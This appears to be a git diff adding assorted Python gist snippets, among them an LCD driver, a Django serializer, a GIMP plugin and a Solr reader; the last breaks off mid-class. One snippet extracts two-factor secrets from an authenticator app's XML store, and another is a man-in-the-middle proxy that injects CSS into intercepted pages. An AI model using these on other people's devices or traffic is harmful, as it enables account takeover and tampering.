+for dirname, dirnames, filenames in os.walk(WHISPER_PATH):
+    for filename in filenames:
+        pathname = os.path.join(dirname, filename)
+        rel_pathname = os.path.relpath(pathname, WHISPER_PATH)
+        basename, ext = os.path.splitext(filename)
+        if '.wsp' != ext:
+            print('skipping %s' % pathname)
+
+        # convert filesystem path to metric style path. remove WHISPER_DIR prefix, then
+        # convert / to .
+        rel_path = os.path.relpath(os.path.join(dirname, basename), WHISPER_PATH)
+        metric_path = rel_path.replace('/', '.')
+
+        dests = [d for d in router.getDestinations(metric_path)]
+        for d in dests:
+            if d not in file_map:
+                file_map[d] = []
+            file_map[d].append(rel_pathname)  # relative pathname for rsync --files-from
+        if DEBUG:
+            print "%s\t%s" % (dests, pathname)
+
+print "Finished scan. Writing file lists ...\n"
+
+for shard, files in file_map.items():
+    shard_id = shard[2]  # ('vnode-30', '3130', '30')
+    file_name = '%s.files' % shard_id  # 30.files
+
+    print "Saving file list: %s ..." % file_name
+    with open(file_name, 'w') as f:
+        for path in files:
+            f.write('%s\n' % path)
diff --git a/hard-gists/6094449/._snippet.py b/hard-gists/6094449/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/6094449/._snippet.py differ
diff --git a/hard-gists/6094449/snippet.py b/hard-gists/6094449/snippet.py
new file mode 100644
index 00000000..a576d7c6
--- /dev/null
+++ b/hard-gists/6094449/snippet.py
@@ -0,0 +1,79 @@
+# Author: Denis A. Engemann <d.engemann@fz-juelich.de>
+#
+# License: BSD (3-clause)
+
+""" Profile fast_dot versus np.dot
+
+Dependencies
+------------
+scikit-learn
+https://github.com/fabianp/memory_profiler
+
+Usage
+-----
+
+mprof run --python run_profile_fast_dot.py
+mprof plot
+
+"""
+import numpy as np
+from sklearn.utils.validation import array2d
+from scipy import linalg
+
+
+def _impose_f_order(X):
+    """Helper Function"""
+    # important to access flags instead of calling np.isfortran,
+    # this catches corner cases.
+    if X.flags.c_contiguous:
+        return array2d(X.T, copy=False, order='F'), True
+    else:
+        return array2d(X, copy=False, order='F'), False
+
+
+def fast_dot(A, B):
+    """Compute fast dot products directly calling BLAS.
+
+    This function calls BLAS directly while warranting Fortran contiguity.
+    This helps avoiding extra copies `np.dot` would have created.
+    For details see section `Linear Algebra on large Arrays`:
+    http://wiki.scipy.org/PerformanceTips
+
+    Parameters
+    ----------
+    A, B: instance of np.ndarray
+        input matrices.
+    """
+    if A.dtype != B.dtype:
+        raise ValueError('A and B must be of the same type.')
+    if A.dtype not in (np.float32, np.float64):
+        raise ValueError('Data must be single or double precision float.')
+
+    dot = linalg.get_blas_funcs('gemm', (A, B))
+    A, trans_a = _impose_f_order(A)
+    B, trans_b = _impose_f_order(B)
+    return dot(alpha=1.0, a=A, b=B, trans_a=trans_a, trans_b=trans_b)
+
+
+n_samples = 1e6 / 2
+n_features = 250
+rng = np.random.RandomState(42)
+W = rng.random_sample([n_features, n_features])
+X = rng.random_sample([n_samples, n_features])
+
+print 'estimated data size in memory'
+print '%i MB' % (X.size * X.itemsize / 1e6)
+print '%s' % X.dtype
+
+with profile.timestamp('naive-dot-rect'):
+    np.dot(W, X.T)
+
+with profile.timestamp('fast-dot-rect'):
+    fast_dot(W, X.T)
+
+
+with profile.timestamp('naive-dot-square'):
+    np.dot(W, W.T)
+
+with profile.timestamp('fast-dot-square'):
+    fast_dot(W, W.T)
diff --git a/hard-gists/6094977/._snippet.py b/hard-gists/6094977/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/6094977/._snippet.py differ
diff --git a/hard-gists/6094977/snippet.py b/hard-gists/6094977/snippet.py
new file mode 100644
index 00000000..63bcf5dc
--- /dev/null
+++ b/hard-gists/6094977/snippet.py
@@ -0,0 +1,256 @@
+import smbus
+import getopt
+import sys
+from time import *
+from time import gmtime, strftime
+
+# TODO: Factor out all device_write calls to some PCF8574 specific module ... 
+#       will be different with another io expander
+
+# communication from expander to display: high nibble first, then low nibble
+# communication via i2c to the PCF 8547: bits are processed from highest to lowest (send P7 bit first) 
+
+
+# General i2c device class so that other devices can be added easily
+class i2c_device:
+    def __init__(self, addr, port):
+        self.addr = addr
+        self.bus = smbus.SMBus(port)
+
+    def write(self, byte):
+        self.bus.write_byte(self.addr, byte)
+
+    def read(self):
+        return self.bus.read_byte(self.addr)
+
+    def read_nbytes_data(self, data, n): # For sequential reads > 1 byte
+        return self.bus.read_i2c_block_data(self.addr, data, n)
+
+
+class ioexpander:
+    def __init__(self):
+        pass
+
+class lcd:
+    #initializes objects and lcd
+
+    # LCD Commands
+    LCD_CLEARDISPLAY        = 0x01
+    LCD_RETURNHOME          = 0x02
+    LCD_ENTRYMODESET        = 0x04
+    LCD_DISPLAYCONTROL      = 0x08
+    LCD_CURSORSHIFT         = 0x10
+    LCD_FUNCTIONSET         = 0x20
+    LCD_SETCGRAMADDR        = 0x40
+    LCD_SETDDRAMADDR        = 0x80
+
+    # Flags for display on/off control
+    LCD_DISPLAYON           = 0x04
+    LCD_DISPLAYOFF          = 0x00
+    LCD_CURSORON            = 0x02
+    LCD_CURSOROFF           = 0x00
+    LCD_BLINKON             = 0x01
+    LCD_BLINKOFF            = 0x00
+
+    # Flags for display entry mode
+    LCD_ENTRYRIGHT          = 0x00
+    LCD_ENTRYLEFT           = 0x02
+    LCD_ENTRYSHIFTINCREMENT = 0x01
+    LCD_ENTRYSHIFTDECREMENT = 0x00
+
+    # Flags for display/cursor shift
+    LCD_DISPLAYMOVE = 0x08
+    LCD_CURSORMOVE  = 0x00
+    LCD_MOVERIGHT   = 0x04
+    LCD_MOVELEFT    = 0x00
+    
+    # flags for function set
+    LCD_8BITMODE = 0x10
+    LCD_4BITMODE = 0x00
+    LCD_2LINE = 0x08
+    LCD_1LINE = 0x00
+    LCD_5x10DOTS = 0x04
+    LCD_5x8DOTS = 0x00
+
+    # flags for backlight control
+    LCD_BACKLIGHT = 0x08
+    LCD_NOBACKLIGHT = 0x00
+
+    EN = 0b00000100  # Enable bit
+    RW = 0b00000010  # Read/Write bit
+    RS = 0b00000001  # Register select bit
+
+    
+    
+    '''
+    new pinout:
+    ----------
+0x80    P7 -  - D7     
+0x40    P6 -  - D6
+0x20    P5 -  - D5
+0x10    P4 -  - D4    
+    -----------
+0x08    P3 -  - BL   Backlight ???
+0x04    P2 -  - EN   Starts Data read/write 
+0x02    P1 -  - RW   low: write, high: read   
+0x01    P0 -  - RS   Register Select: 0: Instruction Register (IR) (AC when read), 1: data register (DR)
+    '''
+    
+    def __init__(self, addr, port, withBacklight=True, withOneTimeInit=False):
+        '''
+        device writes!
+        crosscheck also http://www.monkeyboard.org/tutorials/81-display/70-usb-serial-to-hd44780-lcd
+        here a sequence is listed
+        '''
+        self.displayshift   = (self.LCD_CURSORMOVE |
+                               self.LCD_MOVERIGHT)
+        self.displaymode    = (self.LCD_ENTRYLEFT |
+                               self.LCD_ENTRYSHIFTDECREMENT)
+        self.displaycontrol = (self.LCD_DISPLAYON |
+                               self.LCD_CURSOROFF |
+                               self.LCD_BLINKOFF)
+        
+
+        if withBacklight:
+            self.blFlag=self.LCD_BACKLIGHT
+        else:
+            self.blFlag=self.LCD_NOBACKLIGHT
+        
+        
+        self.lcd_device = i2c_device(addr, port)
+        
+        # we can initialize the display only once after it had been powered on
+        if(withOneTimeInit):
+            self.lcd_device.write(0x20) 
+            self.lcd_strobe()
+            sleep(0.0100) # TODO: Not clear if we have to wait that long
+            self.lcd_write(self.LCD_FUNCTIONSET | self.LCD_4BITMODE  | self.LCD_2LINE | self.LCD_5x8DOTS) # 0x28
+
+        self.lcd_write(self.LCD_DISPLAYCONTROL | self.displaycontrol)   # 0x08 + 0x4 = 0x0C
+        self.lcd_write(self.LCD_ENTRYMODESET   | self.displaymode)      # 0x06
+        self.lcd_write(self.LCD_CLEARDISPLAY)                           # 0x01
+        self.lcd_write(self.LCD_CURSORSHIFT    | self.displayshift)     # 0x14 
+        self.lcd_write(self.LCD_RETURNHOME)
+            
+            
+    # clocks EN to latch command
+    def lcd_strobe(self):
+        self.lcd_device.write((self.lcd_device.read() | self.EN | self.blFlag)) # | 0b0000 0100 # set "EN" high
+        self.lcd_device.write(( (self.lcd_device.read() | self.blFlag) & 0xFB)) # & 0b1111 1011 # set "EN" low
+
+    # write data to lcd in 4 bit mode, 2 nibbles
+    # high nibble is sent first
+    def lcd_write(self, cmd):
+        
+        #write high nibble first
+        self.lcd_device.write( (cmd & 0xF0) | self.blFlag )
+        hi= self.lcd_device.read()
+        self.lcd_strobe()
+        
+        # write low nibble second ...
+        self.lcd_device.write( (cmd << 4) | self.blFlag )
+        lo= self.lcd_device.read()
+        self.lcd_strobe()
+        self.lcd_device.write(self.blFlag)
+    
+    
+    # write a character to lcd (or character rom) 0x09: backlight | RS=DR
+    # works as expected
+    def lcd_write_char(self, charvalue):
+        controlFlag = self.blFlag | self.RS
+        
+        # write high nibble
+        self.lcd_device.write((controlFlag | (charvalue & 0xF0)))
+        self.lcd_strobe()
+        
+        # write low nibble
+        self.lcd_device.write((controlFlag | (charvalue << 4)))
+        self.lcd_strobe()
+        self.lcd_device.write(self.blFlag)
+
+
+    # put char function
+    def lcd_putc(self, char):
+        self.lcd_write_char(ord(char))
+
+    def _setDDRAMAdress(self, line, col):
+        # we write to the Data Display RAM (DDRAM)        
+        # TODO: Factor line offsets for other display organizations; this is for 20x4 only 
+        if line == 1:
+            self.lcd_write(self.LCD_SETDDRAMADDR | (0x00 + col) )
+        if line == 2:
+            self.lcd_write(self.LCD_SETDDRAMADDR | (0x40 + col) )
+        if line == 3:
+            self.lcd_write(self.LCD_SETDDRAMADDR | (0x14 + col) )
+        if line == 4:
+            self.lcd_write(self.LCD_SETDDRAMADDR | (0x54 + col) )
+        
+
+    # put string function
+    def lcd_puts(self, string, line):
+        self._setDDRAMAdress(line, 0)
+        for char in string:
+            self.lcd_putc(char)
+
+    # clear lcd and set to home
+    def lcd_clear(self):
+        # self.lcd_write(0x10)
+        self.lcd_write(self.LCD_CLEARDISPLAY)
+        # self.lcd_write(0x20)
+        self.lcd_write(self.LCD_RETURNHOME)
+
+    # add custom characters (0 - 7)
+    def lcd_load_custon_chars(self, fontdata):
+        self.lcd_device.bus.write(0x40);
+        for char in fontdata:
+            for line in char:
+                self.lcd_write_char(line)
+
+# Let them know how it works
+def usage():
+    print 'Usage: lcdui.py --init --debug --backlightoff'
+
+# Handle the command line arguments
+def main():    
+    initFlag=False
+    debug=False
+    backlight=True
+    
+    try:
+        opts, args = getopt.getopt(sys.argv[1:],"idb",["init","debug","backlightoff"])
+
+    except getopt.GetoptError:
+        usage()
+        sys.exit(2)
+
+
+    for opt, arg in opts:
+        if opt == '-h':
+            usage()
+            sys.exit()
+        elif opt in ("-i", "--init"):
+            initFlag = True
+        elif opt in ("-d", "--debug"):
+            debug = True
+        elif opt in ("-b", "--backlightoff"):
+            backlight = False
+    
+    if initFlag:
+        print "Doing initial init ..."
+    else:
+        print "Skipping init ..."
+    
+    device = lcd(0x27,1,backlight, initFlag)  
+    device.lcd_puts("01234567890123456789",1)
+    device.lcd_puts("012345 Zeile 2 56789",2)
+    device.lcd_puts("012345 Zeile 3 56789",3)
+    device.lcd_puts(strftime("%Y-%m-%d %H:%M:%S", gmtime()),4)
+    sleep(3)
+    device.lcd_clear()
+    device.lcd_puts("    Simple Clock    ",1)
+    while True:
+        device.lcd_puts(strftime("%Y-%m-%d %H:%M:%S ", gmtime()),3)
+        sleep(1)
+
+if __name__ == '__main__':
+    main()
diff --git a/hard-gists/6095815/._snippet.py b/hard-gists/6095815/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/6095815/._snippet.py differ
diff --git a/hard-gists/6095815/snippet.py b/hard-gists/6095815/snippet.py
new file mode 100644
index 00000000..6a11d61b
--- /dev/null
+++ b/hard-gists/6095815/snippet.py
@@ -0,0 +1,77 @@
+# -*- coding: utf-8 -*-
+#!/usr/bin/env python
+
+import warnings
+from django.core.serializers.json import Serializer
+from django.utils.encoding import smart_text, is_protected_type
+from django.utils import six
+from django.utils.html import escape
+
+
+class JsonPropertySerializer(Serializer):
+	def serialize(self, queryset, **options):
+		"""
+		Serialize a queryset.
+		"""
+		self.options = options
+
+		self.stream = options.pop("stream", six.StringIO())
+		self.selected_fields = options.pop("fields", None)
+		self.use_natural_keys = options.pop("use_natural_keys", False)
+		if self.use_natural_keys:
+			warnings.warn("``use_natural_keys`` is deprecated; use ``use_natural_foreign_keys`` instead.", PendingDeprecationWarning)
+		self.use_natural_foreign_keys = options.pop('use_natural_foreign_keys', False) or self.use_natural_keys
+		self.use_natural_primary_keys = options.pop('use_natural_primary_keys', False)
+
+		self.start_serialization()
+		self.first = True
+		for obj in queryset:
+			self.start_object(obj)
+			# Use the concrete parent class' _meta instead of the object's _meta
+			# This is to avoid local_fields problems for proxy models. Refs #17717.
+			concrete_model = obj._meta.concrete_model
+			for field in concrete_model._meta.local_fields:
+				if field.serialize:
+					if field.rel is None:
+						if self.selected_fields is None or field.attname in self.selected_fields:
+							self.handle_field(obj, field)
+					else:
+						if self.selected_fields is None or field.attname[:-3] in self.selected_fields:
+							self.handle_fk_field(obj, field)
+			for field in concrete_model._meta.many_to_many:
+				if field.serialize:
+					if self.selected_fields is None or field.attname in self.selected_fields:
+						self.handle_m2m_field(obj, field)
+			# Add to make possible to serialize via json property from a object!
+			for name, field in obj.__class__.__dict__.iteritems():
+				if isinstance(field, property):
+					self.handle_property_field(obj, name)
+			self.end_object(obj)
+			if self.first:
+				self.first = False
+		self.end_serialization()
+		return self.getvalue()
+
+	def get_dump_object(self, obj):
+		current = {key: item if isinstance(item, dict) else escape(item) for key, item in self._current.items()}
+		return dict({"pk": smart_text(obj._get_pk_val(), strings_only=True), "model": smart_text(obj._meta)}.items() + current.items())
+
+	def handle_field(self, obj, field):
+		value = field._get_val_from_obj(obj)
+		# Protected types (i.e., primitives like None, numbers, dates,
+		# and Decimals) are passed through as is. All other values are
+		# converted to string first.
+		if is_protected_type(value):
+			self._current[field.name] = value
+		else:
+			# Changed to make it possible to get the value from a choice field, the LABEL value!!
+			value = field.value_to_string(obj)
+			if len(field.choices) > 0:
+				# Get the first value founded!
+				value = filter(None, map(lambda x: x[1] if str(x[0]) == value else None, field.choices))
+				if value:
+					value = value[0]
+			self._current[field.name] = value
+
+	def handle_property_field(self, obj, name):
+		self._current[name] = getattr(obj, name)
diff --git a/hard-gists/6095e3cce3877881393a19659430ddf0/._snippet.py b/hard-gists/6095e3cce3877881393a19659430ddf0/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/6095e3cce3877881393a19659430ddf0/._snippet.py differ
diff --git a/hard-gists/6095e3cce3877881393a19659430ddf0/snippet.py b/hard-gists/6095e3cce3877881393a19659430ddf0/snippet.py
new file mode 100644
index 00000000..91dda29f
--- /dev/null
+++ b/hard-gists/6095e3cce3877881393a19659430ddf0/snippet.py
@@ -0,0 +1,71 @@
+#!/usr/bin/env python
+
+from __future__ import print_function
+
+import base64
+import ctypes
+import json
+import subprocess
+import sys
+import xml.etree.ElementTree as ET
+from urllib.parse import urlencode
+
+
+def main():
+    tree = ET.parse(sys.argv[1])
+    root = tree.getroot()
+    assert root.tag == 'map'
+
+    for child in root:
+        assert child.tag == 'string'
+        name = child.attrib['name']
+        if name == 'tokenOrder':
+            continue
+
+        if ':' in name:
+            service, user = name.split(':', 1)
+        else:
+            user = name
+            service = 'Unknown'
+
+        info = json.loads(child.text)
+        #print("Info for %s: %r" % (name, info))
+
+        # Ensure that we only have unsigned values, then get secret
+        secret_bytes = [ctypes.c_ubyte(x).value for x in info['secret']]
+        secret_hex = ''.join('%02X' % (x,) for x in secret_bytes)
+        secret = bytes.fromhex(secret_hex)
+        secret_b32 = base64.b32encode(secret)
+
+        # Make fancy URL.
+        params = {
+            'secret': secret_b32,
+            'issuer': service,
+            'counter': info['counter'],
+            'digits': info['digits'],
+            'period': info['period'],
+            'algorithm': info['algo'],
+        }
+
+        tmpl = 'otpauth://{type}/{service}:{user}?{params}'
+        url = tmpl.format(
+            type=info['type'].lower(),
+            service=service,
+            user=user,
+            params=urlencode(params),
+        )
+        #print(url)
+
+        print("Displaying: {0}".format(name))
+        process_qrencode = subprocess.Popen(['qrencode', '-o', '-', url],
+                                            stdout=subprocess.PIPE)
+        process_display = subprocess.Popen(['display'],
+                                           stdin=process_qrencode.stdout)
+
+        # Allow the qrencode to recieve a SIGPIPE if display exits
+        process_qrencode.stdout.close()
+        process_display.communicate()
+
+
+if __name__ == "__main__":
+    main()
\ No newline at end of file
diff --git a/hard-gists/6097195/._snippet.py b/hard-gists/6097195/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/6097195/._snippet.py differ
diff --git a/hard-gists/6097195/snippet.py b/hard-gists/6097195/snippet.py
new file mode 100644
index 00000000..115e90d5
--- /dev/null
+++ b/hard-gists/6097195/snippet.py
@@ -0,0 +1,86 @@
+from google.appengine.ext import ndb
+
+class DynamicPropertyMixin(object):
+    """ Facilitates creating dynamic properties on ndb.Expando entities.
+        Also works on ndb.Model derived classes!
+
+        Note: keyword args are passed on to the underlying ndb.XxxProperty() class
+    """
+
+    def is_prop(self, name):
+        return name in self._properties
+
+    def set_dynamic_prop(self, cls, name, value, **kwds):
+        """ Creates a typed dynamic property.  This can be particularly useful for
+            ndb.PickleProperty and ndb.JsonProperty types in order to take advantage
+            of the datastore in/out conversions.
+
+            Note: keyword args are passed on to the underlying ndb.XxxProperty() class
+        """
+        prop = cls(name, **kwds)
+        prop._code_name = name
+        self._properties[name] = prop
+        prop._set_value(self, value)
+
+    def set_unindexed_prop(self, name, value, **kwds):
+        """ Creates a generic unindexed property which is required for Expando to store
+            any ndb.BlobProperty() or derived class such as:
+                ndb.TextProperty()
+                ndb.PickleProperty()
+                ndb.JsonProperty()
+        """
+        self.set_dynamic_prop(ndb.GenericProperty, name, value, indexed=False, **kwds)
+
+    #--- The blob properties ---
+
+    def set_blob_prop(self, name, value, **kwds):
+        self.set_dynamic_prop(ndb.BlobProperty, name, value, **kwds)
+
+    def set_text_prop(self, name, value, **kwds):
+        self.set_dynamic_prop(ndb.TextProperty, name, value, **kwds)
+
+    def set_pickle_prop(self, name, value, **kwds):
+        self.set_dynamic_prop(ndb.PickleProperty, name, value, **kwds)
+
+    def set_json_prop(self, name, value, **kwds):
+        self.set_dynamic_prop(ndb.JsonProperty, name, value, **kwds)
+
+    #--- Useful non-blob properties ---
+
+    def set_string_prop(self, name, value, **kwds):
+        self.set_dynamic_prop(ndb.StringProperty, name, value, **kwds)
+
+    def set_integer_prop(self, name, value, **kwds):
+        self.set_dynamic_prop(ndb.IntegerProperty, name, value, **kwds)
+
+    def set_float_prop(self, name, value, **kwds):
+        self.set_dynamic_prop(ndb.FloatProperty, name, value, **kwds)
+
+    def set_datetime_prop(self, name, value, **kwds):
+        self.set_dynamic_prop(ndb.DateTimeProperty, name, value, **kwds)
+
+    def set_key_prop(self, name, value, **kwds):
+        self.set_dynamic_prop(ndb.KeyProperty, name, value, **kwds)
+
+    #--- Less useful non-blob properties ---
+
+    def set_generic_prop(self, name, value, **kwds):
+        self.set_dynamic_prop(ndb.GenericProperty, name, value, **kwds)
+
+    def set_boolean_prop(self, name, value, **kwds):
+        self.set_dynamic_prop(ndb.BooleanProperty, name, value, **kwds)
+
+    def set_date_prop(self, name, value, **kwds):
+        self.set_dynamic_prop(ndb.DateProperty, name, value, **kwds)
+
+    def set_time_prop(self, name, value, **kwds):
+        self.set_dynamic_prop(ndb.TimeProperty, name, value, **kwds)
+
+    def set_user_prop(self, name, value, **kwds):
+        self.set_dynamic_prop(ndb.UserProperty, name, value, **kwds)
+
+    def set_geopt_prop(self, name, value, **kwds):
+        self.set_dynamic_prop(ndb.GeoPtProperty, name, value, **kwds)
+
+    def set_blobkey_prop(self, name, value, **kwds):
+        self.set_dynamic_prop(ndb.BlobKeyProperty, name, value, **kwds)
diff --git a/hard-gists/6099960/._snippet.py b/hard-gists/6099960/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/6099960/._snippet.py differ
diff --git a/hard-gists/6099960/snippet.py b/hard-gists/6099960/snippet.py
new file mode 100644
index 00000000..016d0821
--- /dev/null
+++ b/hard-gists/6099960/snippet.py
@@ -0,0 +1,40 @@
+#!/usr/bin/env python
+"""
+    Inject inverting css
+    Usage:
+        inverted_internet
+"""
+from libmproxy import controller, proxy
+import os
+import sys
+
+
+class InjectingMaster(controller.Master):
+    def __init__(self, server):
+        controller.Master.__init__(self, server)
+
+    def run(self):
+        try:
+            return controller.Master.run(self)
+        except KeyboardInterrupt:
+            self.shutdown()
+
+    def handle_response(self, msg):
+        if msg.content:
+            c = msg.replace('</body>', '<style>body {transform:rotate(180deg);-ms-transform:rotate(180deg);-webkit-transform:rotate(180deg);}</style></body>')
+            if c > 0:
+                print 'CSS injected!'
+        msg.reply()
+
+
+def main(argv):
+    config = proxy.ProxyConfig(
+        cacert = os.path.expanduser("~/.mitmproxy/mitmproxy-ca.pem")
+    )
+    server = proxy.ProxyServer(config, 8080)
+    print 'Starting proxy...'
+    m = InjectingMaster(server)
+    m.run()
+
+if __name__ == '__main__':
+    main(sys.argv)
diff --git a/hard-gists/60bacd65c89e5290f452/._snippet.py b/hard-gists/60bacd65c89e5290f452/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/60bacd65c89e5290f452/._snippet.py differ
diff --git a/hard-gists/60bacd65c89e5290f452/snippet.py b/hard-gists/60bacd65c89e5290f452/snippet.py
new file mode 100644
index 00000000..ff93b5f6
--- /dev/null
+++ b/hard-gists/60bacd65c89e5290f452/snippet.py
@@ -0,0 +1,139 @@
+# coding: utf-8
+
+from objc_util import *
+
+## this is bad python styling, but I justify it by saying the
+## function is an alias for the UIColor class
+def UIColor(red=1.0, green=1.0, blue=1.0, alpha=1.0):
+	UIColor = ObjCClass('UIColor')
+	r = CGFloat(red)
+	g = CGFloat(green)
+	b = CGFloat(blue)
+	a = CGFloat(alpha)
+	return UIColor.colorWithRed_green_blue_alpha_(r,g,b,a)
+
+## same goes for this function. 	
+def UIImage(image_string):
+	from scene import get_image_path
+	UIImage = ObjCClass('UIImage')
+	img = UIImage.imageWithContentsOfFile_(get_image_path(image_string))
+	return img
+
+## Just convenience class for progress view styles		
+class ProgressViewStyle:
+	DEFAULT = 0
+	BAR     = 1
+		
+class ProgressView(ui.View):
+	@on_main_thread
+	def __init__(self, animated=True, *args, **kwargs):
+		ui.View.__init__(self, *args, **kwargs)
+		objc_view = ObjCInstance(self._objc_ptr)
+		UIProgressView = ObjCClass('UIProgressView')
+		f = CGRect(CGPoint(0, 0), CGSize(self.width, self.height))
+		progress_view = UIProgressView.alloc().initWithProgressViewStyle_(0)
+		progress_view.setFrame_(f)
+		progress_view.setBackgroundColor_(UIColor(*self.background_color))
+		flex_width, flex_height = (1<<1), (1<<4)
+		progress_view.setAutoresizingMask_(flex_width|flex_height)
+		progress_view.autorelease()
+		objc_view.addSubview_(progress_view)
+		self.progress_view = progress_view
+		self.animated = animated
+	
+	@property
+	@on_main_thread
+	def progress(self):
+		progress_view = self.progress_view
+		progress = progress_view.progress()
+		return progress
+		
+	@progress.setter
+	@on_main_thread
+	def progress(self,progress):
+		progress_view = self.progress_view
+		progress_view.setProgress_animated_(c_float(progress), self.animated)
+	
+	@property
+	@on_main_thread
+	def progress_tint_color(self):
+		progress_view = self.progress_view
+		color = progress_view.progressTintColor()
+		return color
+		
+	@progress_tint_color.setter
+	@on_main_thread
+	def progress_tint_color(self, color):
+		progress_view = self.progress_view
+		progress_view.setProgressTintColor_(UIColor(*color))
+	
+	@property
+	@on_main_thread
+	def progress_image(self):
+		progress_view = self.progress_view
+		image = progress_view.progressImage()
+		return image
+		
+	@progress_image.setter
+	@on_main_thread
+	def progress_image(self, image_string):
+		progress_view = self.progress_view
+		progress_view.setProgressImage_(UIImage(image_string))
+		
+	@property
+	@on_main_thread
+	def track_tint_color(self):
+		progress_view = self.progress_view
+		color = progress_view.trackTintColor()
+		return color
+		
+	@track_tint_color.setter
+	@on_main_thread
+	def track_tint_color(self, color):
+		progress_view = self.progress_view
+		progress_view.setTrackTintColor_(UIColor(*color))
+	
+	@property
+	@on_main_thread	
+	def progress_view_style(self):
+		progress_view = self.progress_view
+		return progress_view.progressViewStyle()
+		
+	@progress_view_style.setter
+	@on_main_thread
+	def progress_view_style(self, style):
+		progress_view = self.progress_view
+		progress_view.setProgressViewStyle_(style)
+
+def main():
+	import time
+	progress_view = ProgressView(frame=(0,0,300,50))
+	progress_view.name = 'Progress View Example'
+	progress_view.track_tint_color = (1.,0,0)
+	progress_view.progress_tint_color = (0,1.,0)
+	progress_view.present('sheet')
+	
+	progress_view.progress = 0.0
+	for i in range(101):
+		progress_view.progress = i/100.
+	
+	print 'Track Color:',    progress_view.track_tint_color
+	print 'Progress Color:', progress_view.progress_tint_color
+	
+	## commented out because I don't like the image I used and changing
+	## the style didn't seem to do anything
+	#progress_view.progress_image = 'test:Lenna'
+	#progress_view.progress_view_style = ProgressViewStyle.BAR
+	progress_view.progress = 0.0
+	for i in range(101):
+		progress_view.progress = i/100.
+	
+	print 'Progress Image:', progress_view.progress_image
+	print 'Animated:',       progress_view.animated
+	
+	
+if __name__ == '__main__':
+	## Uncomment to show what other function are available
+	#UIProgressView = ObjCClass('UIProgressView')
+	#print dir(UIProgressView.alloc())
+	main()
\ No newline at end of file
diff --git a/hard-gists/60e006b7642707c2e898/._snippet.py b/hard-gists/60e006b7642707c2e898/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/60e006b7642707c2e898/._snippet.py differ
diff --git a/hard-gists/60e006b7642707c2e898/snippet.py b/hard-gists/60e006b7642707c2e898/snippet.py
new file mode 100644
index 00000000..4e70d061
--- /dev/null
+++ b/hard-gists/60e006b7642707c2e898/snippet.py
@@ -0,0 +1,40 @@
+#!/usr/bin/env python
+# -*- coding: utf-8 -*-
+
+import os
+from gimpfu import *
+
+def plugin_main(img, layer):
+    width = img.width
+    height = img.height
+    
+    resizedWidth = width / 2
+    resizedHeight = height / 2
+    
+    name = ""
+    if img.filename:
+        name = os.path.basename(img.filename)
+    
+    pdb.gimp_image_scale(img, resizedWidth, resizedHeight)
+    
+    gimp.message(
+       "Original Size: %d,%d\n" % (width, height) +
+       "Resized Size: %d,%d\n\n" % (resizedWidth, resizedHeight) +
+       "CSS: \nwidth: %dpx;\nheight: %dpx;\n\n" % (resizedWidth, resizedHeight) +
+       "img: <img src=\"%s\" width=\"%d\" height=\"%d\" />" % (name, resizedWidth, resizedHeight)
+       )
+
+register(
+        "python_fu_scale_half",
+        "Scale the image to the half size",
+        "Scale the image to the half size",
+        "Yoichi Imai",
+        "Yoichi Imai",
+        "2014",
+        "<Image>/Image/Scale to Half Size",
+        "*",
+        [],
+        [],
+        plugin_main)
+
+main()
diff --git a/hard-gists/6102062/._snippet.py b/hard-gists/6102062/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/6102062/._snippet.py differ
diff --git a/hard-gists/6102062/snippet.py b/hard-gists/6102062/snippet.py
new file mode 100644
index 00000000..daaa8419
--- /dev/null
+++ b/hard-gists/6102062/snippet.py
@@ -0,0 +1,181 @@
+import requests
+from collections import deque
+class SolrTermVectorCollector(object):
+    def __pathToTvrh(self, solrUrl, collection):
+        import urlparse
+        userSpecifiedUrl = urlparse.urlsplit(solrUrl)
+        schemeAndNetloc = urlparse.SplitResult(scheme=userSpecifiedUrl.scheme,
+                                               netloc=userSpecifiedUrl.netloc,
+                                               path='',
+                                               query='',
+                                               fragment='')
+        solrBaseUrl = urlparse.urlunsplit(schemeAndNetloc)
+        solrBaseUrl = urlparse.urljoin(solrBaseUrl, 'solr/')
+        solrBaseUrl = urlparse.urljoin(solrBaseUrl, collection + '/')
+        solrBaseUrl = urlparse.urljoin(solrBaseUrl, 'tvrh')
+        return solrBaseUrl
+    
+    def __init__(self, solrUrl="http://localhost:8983/solr",
+            collection="collection1",
+            field='Title',
+            feature='tf-idf',
+            batchSize=10000,
+            numDocs=100000):
+        self.solrTvrhUrl = self.__pathToTvrh(solrUrl, collection)
+        self.field = field
+        self.feature = feature
+        self.batchSize = batchSize
+        self.numDocs = numDocs
+        self.sess = requests.Session()
+        self.count = 0
+
+        self.termVectors = []
+
+    def __iter__(self):
+        return self
+
+    def next(self):
+        if self.count >= self.numDocs:
+            raise StopIteration
+        if len(self.termVectors) == 0:
+            #then get some more!
+            params = {"tv.fl": self.field,
+                      "fl": "nonexistentfield",#to limit the volumn of data returned
+                      "wt": "json",
+                      "tv.all": "true",
+                      "rows": min(self.batchSize, self.numDocs-self.count),
+                      "start": self.count,
+                      "q": self.field + ":*"}
+            resp = self.sess.get(url=self.solrTvrhUrl, params=params)
+            if resp.status_code != 200:
+                raise IOError("HTTP Status " + str(resp.status_code))
+            self.termVectors = deque(resp.json()['termVectors'][3::2])#overcoming weird non-dictionary json format
+
+        if len(self.termVectors) == 0:
+            #then Solr's our of documents
+            raise StopIteration
+        tv = self.termVectors.popleft()
+        id = tv[1]
+        termVector = {}
+        data = tv[3] #all of the terms and features in this vector
+        for i in xrange(0,len(data),2):
+            term = data[i]
+            featureValue = [data[i+1][j+1] for j in range(len(data[i+1])) if data[i+1][j] == self.feature][0]
+            termVector[term] = featureValue
+        self.count += 1
+        return (id, termVector)
+
+
+
+from collections import defaultdict
+class StringIndexDict(object):
+    def __init__(self):
+        self.currentIndex = -1
+        self.stringDict = defaultdict(self.count)
+        self.indexDict = {}
+
+    def count(self):
